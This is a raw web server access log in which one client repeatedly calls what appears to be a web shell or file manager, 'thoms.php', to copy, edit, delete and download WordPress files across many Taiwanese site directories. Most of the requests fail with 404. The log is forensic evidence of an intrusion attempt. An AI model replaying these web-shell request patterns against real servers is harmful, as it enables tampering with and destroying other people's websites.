45.135.193.11 - - [12/Sep/2026:00:02:55 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-activate.php&p=broadweb.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-activate.php&p=broadweb.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:55 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-activate.php&p=broadweb.com.tw%2Fworker-profile HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-activate.php&p=broadweb.com.tw%2Fworker-profile" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:55 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-activate.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-activate.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:56 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-activate.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-activate.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:56 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-activate.php&finish=1&move=1&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-activate.php&finish=1&move=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:56 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-activate.php&p=broadweb.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-activate.php&p=broadweb.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:56 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-activate.php&p=broadweb.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-activate.php&p=broadweb.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:56 -0400] "GET /broadweb.com.tw/.well-known/?MA= HTTP/1.1" 200 781 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:56 -0400] "GET /broadweb.com.tw/.well-known/?ND= HTTP/1.1" 200 781 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:56 -0400] "GET /thoms.php?edit=wp-config-sample.php&env=ace&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-config-sample.php&env=ace&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:56 -0400] "GET /thoms.php?edit=wp-config-sample.php&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-config-sample.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:56 -0400] "GET /broadweb.com.tw/.well-known/?SA= HTTP/1.1" 200 781 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:56 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fupgrade&p=cgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fupgrade&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:56 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fupgrade&p=wp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fupgrade&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:56 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fupgrade&p=wordpress-6.6-20260912023539 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fupgrade&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:56 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fupgrade&p=bestjudy.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fupgrade&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:56 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fupgrade&p=bogroup.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fupgrade&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:56 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fupgrade&p=broadweb.com-20260912023716 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fupgrade&p=broadweb.com-20260912023716" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:56 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fupgrade&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fupgrade&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:56 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fupgrade&p=wp-content-20260912023544 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fupgrade&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:57 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fupgrade&p=ba-guo.com-20260912023525 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fupgrade&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:57 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fupgrade&p=besth2o.com-20260912023731 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fupgrade&p=besth2o.com-20260912023731" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:57 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fupgrade&p=bodbooks.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fupgrade&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:57 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fupgrade&p=bossini.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fupgrade&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:57 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fupgrade&p=beauty-dental.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fupgrade&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:57 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fupgrade&p=besth2o.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fupgrade&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:57 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fupgrade&p=betcity.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fupgrade&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:57 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fupgrade&p=bioway88.com-20260912023827 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fupgrade&p=bioway88.com-20260912023827" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:57 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fupgrade&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fupgrade&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:57 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fupgrade&p=wordpress-6.6.2-zh_TW HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fupgrade&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:57 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fupgrade&finish=1&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fupgrade&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:57 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fupgrade&finish=1&move=1&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fupgrade&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:57 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fupgrade&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fupgrade&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:57 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fupgrade&p=booking-wise2.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fupgrade&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:57 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fupgrade&p=biotaiwan.com-20260912023713 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fupgrade&p=biotaiwan.com-20260912023713" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:57 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fupgrade&p=bodbooks.com-20260912023809 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fupgrade&p=bodbooks.com-20260912023809" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:58 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fupgrade&p=betcity.com-20260912023741 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fupgrade&p=betcity.com-20260912023741" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:58 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fupgrade&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fupgrade&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:58 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fupgrade&p=upgrade-20260912023806 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fupgrade&p=upgrade-20260912023806" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:58 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fupgrade&p=bft.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fupgrade&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:58 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fupgrade&p=big-wife.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fupgrade&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:58 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fupgrade&p=beauty-dental.com-20260912023807 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fupgrade&p=beauty-dental.com-20260912023807" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:58 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fupgrade&p=bestzyx.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fupgrade&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:58 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fupgrade&p=bfl.com-20260912023804 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fupgrade&p=bfl.com-20260912023804" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:58 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fupgrade&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fupgrade&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:58 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fupgrade&p=bioway88.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fupgrade&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:58 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Findex.php&p=broadweb.com.tw%2Fbridge-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Findex.php&p=broadweb.com.tw%2Fbridge-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:58 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Findex.php&finish=1&move=1&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Findex.php&finish=1&move=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:58 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Findex.php&p=broadweb.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Findex.php&p=broadweb.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:58 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Findex.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Findex.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:58 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Findex.php&p=broadweb.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Findex.php&p=broadweb.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:58 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Findex.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Findex.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:59 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Findex.php&finish=1&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Findex.php&finish=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:59 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Findex.php&p=broadweb.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Findex.php&p=broadweb.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:59 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Findex.php&p=broadweb.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Findex.php&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:59 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Findex.php&p=broadweb.com.tw%2Fworker-profile HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Findex.php&p=broadweb.com.tw%2Fworker-profile" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:59 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Findex.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Findex.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:59 -0400] "GET /thoms.php?del=revision.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=revision.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:59 -0400] "GET /thoms.php?dl=robots-template.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=robots-template.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:59 -0400] "GET /broadweb.com.tw/wp-includes HTTP/1.1" 301 795 "http://163.245.207.76:443/broadweb.com.tw/wp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:59 -0400] "GET /broadweb.com.tw/wp-includes/ HTTP/1.1" 200 9299 "https://163.245.207.76:443/broadweb.com.tw/wp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:59 -0400] "GET /thoms.php?del=interactivity-api&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=interactivity-api&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:59 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-feed.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-feed.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:59 -0400] "GET /thoms.php?del=class-wp-customize-manager.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-manager.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:59 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-http-requests-hooks.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-http-requests-hooks.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:59 -0400] "GET /thoms.php?del=class-wp-list-util.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-list-util.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:59 -0400] "GET /thoms.php?del=class-wp-user.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-user.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:59 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-simplepie.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-simplepie.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:59 -0400] "GET /thoms.php?del=class-walker-category.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-walker-category.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
